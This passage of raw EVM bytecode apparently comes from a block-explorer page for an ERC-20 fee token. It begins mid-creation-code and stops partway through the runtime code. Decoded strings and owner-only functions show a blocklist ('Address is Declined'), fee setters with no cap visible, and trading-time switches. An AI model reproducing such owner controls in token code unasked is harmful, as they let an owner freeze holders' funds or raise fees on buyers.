526004016129ec90614467565b60405180910390fd5b5b6000612a013061115c565b90506000601c548210159050808015612a275750601e60149054906101000a900460ff16155b8015612a7d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612a955750601e60159054906101000a900460ff165b15612abf57601e60169054906101000a900460ff1615612ab557601c5491505b612abe82612ef5565b5b612b48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2e5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c4257612c3d8787876130e6565b612c44565b845b9050601e60179054906101000a900460ff168015612cac5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cdb57601b54612ccf82612cc18961115c565b61218190919063ffffffff16565b1115612cda57600080fd5b5b612d2d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcd9190613a58565b60405180910390a3600193505050505b9392505050565b6000838311158290612e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2391906137c3565b60405180910390fd5b5060008385612e3b9190614487565b9050809150509392505050565b6000612e8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612de4565b905092915050565b60008083118290612ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed091906137c3565b60405180910390fd5b5060008385612ee891906144ea565b9050809150509392505050565b6001601e60146101000a81548160ff0219169083151502179055506000612f4e6002612f40601854612f326013548761330d90919063ffffffff16565b6121df90919063ffffffff16565b6121df90919063ffffffff16565b90506000612f658284612e4890919063ffffffff16565b9050612f7081613387565b60004790506000612fa1612f9060026013546121df90919063ffffffff16565b601854612e4890919063ffffffff16565b90506000612fdf6002612fd184612fc36013548861330d90919063ffffffff16565b6121df90919063ffffffff16565b6121df90919063ffffffff16565b9050600061300a83612ffc6015548761330d90919063ffffffff16565b6121df90919063ffffffff16565b90506000613033826130258588612e4890919063ffffffff16565b612e4890919063ffffffff16565b9050600081111561306b5761306a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613603565b5b60008211156130a1576130a0600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613603565b5b6000831180156130b15750600087115b156130c1576130c0878461364e565b5b505050505050506000601e60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561316e5761316760646131596016548661330d90919063ffffffff16565b6121df90919063ffffffff16565b90506131ec565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131eb576131e860646131da6017548661330d90919063ffffffff16565b6121df90919063ffffffff16565b90505b5b60008111156132f05761324781600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132e79190613a58565b60405180910390a35b6133038184612e4890919063ffffffff16565b9150509392505050565b600080830361331f5760009050613381565b6000828461332d919061451b565b905082848261333c91906144ea565b1461337c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613373906145e7565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156133a4576133a3614607565b5b6040519080825280602002602001820160405280156133d25781602001602082028036833780820191505090505b50905030816000815181106133ea576133e9613e91565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134b5919061464b565b816001815181106134c9576134c8613e91565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061353030601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612231565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161359495949392919061477b565b600060405180830381600087803b1580156135ae57600080fd5b505af11580156135c2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516135f79291906147d5565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613649573d6000803e3d6000fd5b505050565b61367b30601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612231565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806136c76111b7565b426040518863ffffffff1660e01b81526004016136e996959493929190614805565b60606040518083038185885af1158015613707573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061372c919061487b565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561376d578082015181840152602081019050613752565b60008484015250505050565b6000601f19601f8301169050919050565b600061379582613733565b61379f818561373e565b93506137af81856020860161374f565b6137b881613779565b840191505092915050565b600060208201905081810360008301526137dd818461378a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061381a826137ef565b9050919050565b61382a8161380f565b811461383557600080fd5b50565b60008135905061384781613821565b92915050565b6000819050919050565b6138608161384d565b811461386b57600080fd5b50565b60008135905061387d81613857565b92915050565b6000806040838503121561389a576138996137e5565b5b60006138a885828601613838565b92505060206138b98582860161386e565b9150509250929050565b60008115159050919050565b6138d8816138c3565b82525050565b60006020820190506138f360008301846138cf565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261391e5761391d6138f9565b5b8235905067ffffffffffffffff81111561393b5761393a6138fe565b5b60208301915083602082028301111561395757613956613903565b5b9250929050565b60008083601f840112613974576139736138f9565b5b8235905067ffffffffffffffff811115613991576139906138fe565b5b6020830191508360208202830111156139ad576139ac613903565b5b9250929050565b6000806000806000606086880312156139d0576139cf6137e5565b5b60006139de88828901613838565b955050602086013567ffffffffffffffff8111156139ff576139fe6137ea565b5b613a0b88828901613908565b9450945050604086013567ffffffffffffffff811115613a2e57613a2d6137ea565b5b613a3a8882890161395e565b92509250509295509295909350565b613a528161384d565b82525050565b6000602082019050613a6d6000830184613a49565b92915050565b600080600060608486031215613a8c57613a8b6137e5565b5b6000613a9a8682870161386e565b9350506020613aab8682870161386e565b9250506040613abc8682870161386e565b9150509250925092565b613acf816138c3565b8114613ada57600080fd5b50565b600081359050613aec81613ac6565b92915050565b60008060408385031215613b0957613b086137e5565b5b6000613b1785828601613838565b9250506020613b2885828601613add565b9150509250929050565b600080600060608486031215613b4b57613b4a6137e5565b5b6000613b5986828701613838565b9350506020613b6a86828701613838565b9250506040613b7b8682870161386e565b9150509250925092565b600060208284031215613b9b57613b9a6137e5565b5b6000613ba984828501613add565b91505092915050565b600060ff82169050919050565b613bc881613bb2565b82525050565b6000602082019050613be36000830184613bbf565b92915050565b600060208284031215613bff57613bfe6137e5565b5b6000613c0d8482850161386e565b91505092915050565b600060208284031215613c2c57613c2b6137e5565b5b6000613c3a84828501613838565b91505092915050565b613c4c8161380f565b82525050565b6000602082019050613c676000830184613c43565b92915050565b600080600060408486031215613c8657613c856137e5565b5b600084013567ffffffffffffffff811115613ca457613ca36137ea565b5b613cb086828701613908565b93509350506020613cc386828701613add565b9150509250925092565b60008060408385031215613ce457613ce36137e5565b5b6000613cf285828601613838565b9250506020613d0385828601613838565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613d5457607f821691505b602082108103613d6757613d66613d0d565b5b50919050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b6000613dc9602d8361373e565b9150613dd482613d6d565b604082019050919050565b60006020820190508181036000830152613df881613dbc565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b6000613e5b60288361373e565b9150613e6682613dff565b604082019050919050565b60006020820190508181036000830152613e8a81613e4e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613efa8261384d565b9150613f058361384d565b9250828201905080821115613f1d57613f1c613ec0565b5b92915050565b6000613f2e8261384d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613f6057613f5f613ec0565b5b600182019050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b6000613fa1601b8361373e565b9150613fac82613f6b565b602082019050919050565b60006020820190508181036000830152613fd081613f94565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061400d60208361373e565b915061401882613fd7565b602082019050919050565b6000602082019050818103600083015261403c81614000565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061409f60268361373e565b91506140aa82614043565b604082019050919050565b600060208201905081810360008301526140ce81614092565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061410b601b8361373e565b9150614116826140d5565b602082019050919050565b6000602082019050818103600083015261413a816140fe565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061419d60248361373e565b91506141a882614141565b604082019050919050565b600060208201905081810360008301526141cc81614190565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061422f60228361373e565b915061423a826141d3565b604082019050919050565b6000602082019050818103600083015261425e81614222565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006142c160258361373e565b91506142cc82614265565b604082019050919050565b600060208201905081810360008301526142f0816142b4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061435360238361373e565b915061435e826142f7565b604082019050919050565b6000602082019050818103600083015261438281614346565b9050919050565b7f41646472657373206973204465636c696e656400000000000000000000000000600082015250565b60006143bf60138361373e565b91506143ca82614389565b602082019050919050565b600060208201905081810360008301526143ee816143b2565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b600061445160288361373e565b915061445c826143f5565b604082019050919050565b6000602082019050818103600083015261448081614444565b9050919050565b60006144928261384d565b915061449d8361384d565b92508282039050818111156144b5576144b4613ec0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144f58261384d565b91506145008361384d565b9250826145105761450f6144bb565b5b828204905092915050565b60006145268261384d565b91506145318361384d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561456a57614569613ec0565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006145d160218361373e565b91506145dc82614575565b604082019050919050565b60006020820190508181036000830152614600816145c4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061464581613821565b92915050565b600060208284031215614661576146606137e5565b5b600061466f84828501614636565b91505092915050565b6000819050919050565b6000819050919050565b60006146a76146a261469d84614678565b614682565b61384d565b9050919050565b6146b78161468c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6146f28161380f565b82525050565b600061470483836146e9565b60208301905092915050565b6000602082019050919050565b6000614728826146bd565b61473281856146c8565b935061473d836146d9565b8060005b8381101561476e57815161475588826146f8565b975061476083614710565b925050600181019050614741565b5085935050505092915050565b600060a0820190506147906000830188613a49565b61479d60208301876146ae565b81810360408301526147af818661471d565b90506147be6060830185613c43565b6147cb6080830184613a49565b9695505050505050565b60006040820190506147ea6000830185613a49565b81810360208301526147fc818461471d565b90509392505050565b600060c08201905061481a6000830189613c43565b6148276020830188613a49565b61483460408301876146ae565b61484160608301866146ae565b61484e6080830185613c43565b61485b60a0830184613a49565b979650505050505050565b60008151905061487581613857565b92915050565b600080600060608486031215614894576148936137e5565b5b60006148a286828701614866565b93505060206148b386828701614866565b92505060406148c486828701614866565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203dbe8a02818cf664a6dbf5d6d218508488e94f84bdf42cc44c3191bd76fcadf664736f6c63430008100033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638e2eee841161012e578063ccb98ffc116100ab578063f1ad4e251161006f578063f1ad4e2514610866578063f1d5f5171461088f578063f2fde38b146108b8578063f84ba65d146108e1578063fbac39511461090a57610246565b8063ccb98ffc14610783578063dd62ed3e146107ac578063ec28438a146107e9578063ef422a1814610812578063f0cd1dac1461083b57610246565b8063a5d69d1f116100f2578063a5d69d1f146106a2578063a9059cbb146106cb578063aa8743f514610708578063b23abda514610731578063c49b9a801461075a57610246565b80638e2eee84146105d1578063914eb66a146105fa57806395d89b4114610611578063a457c2d71461063c578063a4b45c001461067957610246565b8063313ce567116101bc57806370a082311161018057806370a08231146104e85780637d1db4a514610525578063807c2d9c1461055057806382eefb431461057b5780638da5cb5b146105a657610246565b8063313ce5671461041557806339509351146104405780633b97084a1461047d5780634bacf447146104a6578063557ed1ba146104bd57610246565b80632198cf6c116102035780632198cf6c1461033057806323b872dd146103595780632563ae83146103965780632b112e49146103bf5780632ca126f8146103ea57610246565b806306fdde031461024b578063095ea7b31461027657806317deb770146102b357806318160ddd146102dc5780631cbcdfa61461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610947565b60405161026d91906137c3565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613883565b6109d9565b6040516102aa91906138de565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d591906139b4565b6109f7565b005b3480156102e857600080fd5b506102f1610b91565b6040516102fe9190613a58565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613a73565b610b9b565b005b34801561033c57600080fd5b5061035760048036038101906103529190613af2565b610c7b565b005b34801561036557600080fd5b50610380600480360381019061037b9190613b32565b610d6b565b60405161038d91906138de565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190613b85565b610e45565b005b3480156103cb57600080fd5b506103d4610ef7565b6040516103e19190613a58565b60405180910390f35b3480156103f657600080fd5b506103ff610f3b565b60405161040c9190613a58565b60405180910390f35b34801561042157600080fd5b5061042a610f41565b6040516104379190613bce565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613883565b610f58565b60405161047491906138de565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190613be9565b61100b565b005b3480156104b257600080fd5b506104bb6110aa565b005b3480156104c957600080fd5b506104d2611154565b6040516104df9190613a58565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a9190613c16565b61115c565b60405161051c9190613a58565b60405180910390f35b34801561053157600080fd5b5061053a6111a5565b6040516105479190613a58565b60405180910390f35b34801561055c57600080fd5b506105656111ab565b6040516105729190613a58565b60405180910390f35b34801561058757600080fd5b506105906111b1565b60405161059d9190613a58565b60405180910390f35b3480156105b257600080fd5b506105bb6111b7565b6040516105c89190613c52565b60405180910390f35b3480156105dd57600080fd5b506105f860048036038101906105f39190613c6d565b6111e0565b005b34801561060657600080fd5b5061060f611318565b005b34801561061d57600080fd5b5061062661146b565b60405161063391906137c3565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190613883565b6114fd565b60405161067091906138de565b60405180910390f35b34801561068557600080fd5b506106a0600480360381019061069b9190613ccd565b6115ca565b005b3480156106ae57600080fd5b506106c960048036038101906106c49190613b85565b6116e5565b005b3480156106d757600080fd5b506106f260048036038101906106ed9190613883565b611797565b6040516106ff91906138de565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190613be9565b6117b6565b005b34801561073d57600080fd5b5061075860048036038101906107539190613a73565b611855565b005b34801561076657600080fd5b50610781600480360381019061077c9190613b85565b611935565b005b34801561078f57600080fd5b506107aa60048036038101906107a59190613be9565b611a1e565b005b3480156107b857600080fd5b506107d360048036038101906107ce9190613ccd565b611abd565b6040516107e09190613a58565b60405180910390f35b3480156107f557600080fd5b50610810600480360381019061080b9190613be9565b611b44565b005b34801561081e57600080fd5b5061083960048036038101906108349190613af2565b611be3565b005b34801561084757600080fd5b50610850611cd3565b60405161085d9190613a58565b60405180910390f35b34801561087257600080fd5b5061088d60048036038101906108889190613c6d565b611cd9565b005b34801561089b57600080fd5b506108b660048036038101906108b19190613be9565b611e11565b005b3480156108c457600080fd5b506108df60048036038101906108da9190613c16565b611eb0565b005b3480156108ed57600080fd5b5061090860048036038101906109039190613af2565b612071565b005b34801561091657600080fd5b50610931600480360381019061092c9190613c16565b612161565b60405161093e91906138de565b60405180910390f35b60606001805461095690613d3c565b80601f016020809104026020016040519081016040528092919081815260200182805461098290613d3c565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b60006109ed6109e6612229565b8484612231565b6001905092915050565b6101f58484905010610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590613ddf565b60405180910390fd5b818190508484905014610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613e71565b60405180910390fd5b6000805b85859050811015610acf57838382818110610aa857610aa7613e91565b5b9050602002013582610aba9190613eef565b91508080610ac790613f23565b915050610a8a565b5080610ada8761115c565b1015610b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1290613fb7565b60405180910390fd5b60005b85859050811015610b8857610b7487878784818110610b4057610b3f613e91565b5b9050602002016020810190610b559190613c16565b868685818110610b6857610b67613e91565b5b905060200201356123fa565b508080610b8090613f23565b915050610b1e565b50505050505050565b6000601954905090565b610ba3612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790614023565b60405180910390fd5b826010819055508160118190555080601281905550610c70601254610c6260115460105461218190919063ffffffff16565b61218190919063ffffffff16565b601781905550505050565b610c83612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790614023565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610d788484846125cd565b50610e3a84610d85612229565b610e35856040518060600160405280602881526020016148cf60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610deb612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b612231565b600190509392505050565b610e4d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190614023565b60405180910390fd5b80601e60176101000a81548160ff02191690831515021790555050565b6000610f36610f257f000000000000000000000000000000000000000000000000000000000000dead61115c565b601954612e4890919063ffffffff16565b905090565b601f5481565b6000600360009054906101000a900460ff16905090565b6000611001610f65612229565b84610ffc8560066000610f76612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b612231565b6001905092915050565b611013612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790614023565b60405180910390fd5b80601c8190555050565b6110b2612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113690614023565b60405180910390fd5b601e4261114c9190613eef565b601f81905550565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b601b5481565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6111e8612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90614023565b60405180910390fd5b60005b838390508110156113125781600b600086868581811061129b5761129a613e91565b5b90506020020160208101906112b09190613c16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508061130b90613f23565b9050611278565b50505050565b611320612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490614023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606002805461147a90613d3c565b80601f01602080910402602001604051908101604052809291908181526020018280546114a690613d3c565b80156114f35780601f106114c8576101008083540402835291602001916114f3565b820191906000526020600020905b8154815290600101906020018083116114d657829003601f168201915b5050505050905090565b60006115c061150a612229565b846115bb856040518060600160405280602581526020016148f76025913960066000611534612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b612231565b6001905092915050565b6115d2612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690614023565b60405180910390fd5b81600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6116ed612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177190614023565b60405180910390fd5b80601e60166101000a81548160ff02191690831515021790555050565b60006117ab6117a4612229565b84846125cd565b506001905092915050565b6117be612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290614023565b60405180910390fd5b8060208190555050565b61185d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190614023565b60405180910390fd5b82600d8190555081600e8190555080600f8190555061192a600f5461191c600e54600d5461218190919063ffffffff16565b61218190919063ffffffff16565b601681905550505050565b61193d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c190614023565b60405180910390fd5b80601e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611a1391906138de565b60405180910390a150565b611a26612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90614023565b60405180910390fd5b80601f8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611b4c612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd090614023565b60405180910390fd5b80601a8190555050565b611beb612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f90614023565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60165481565b611ce1612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6590614023565b60405180910390fd5b60005b83839050811015611e0b5781600b6000868685818110611d9457611d93613e91565b5b9050602002016020810190611da99190613c16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611e0490613f23565b9050611d71565b50505050565b611e19612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90614023565b60405180910390fd5b80601b8190555050565b611eb8612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90614023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab906140b5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612079612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fd90614023565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008082846121909190613eef565b9050838110156121d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cc9061412156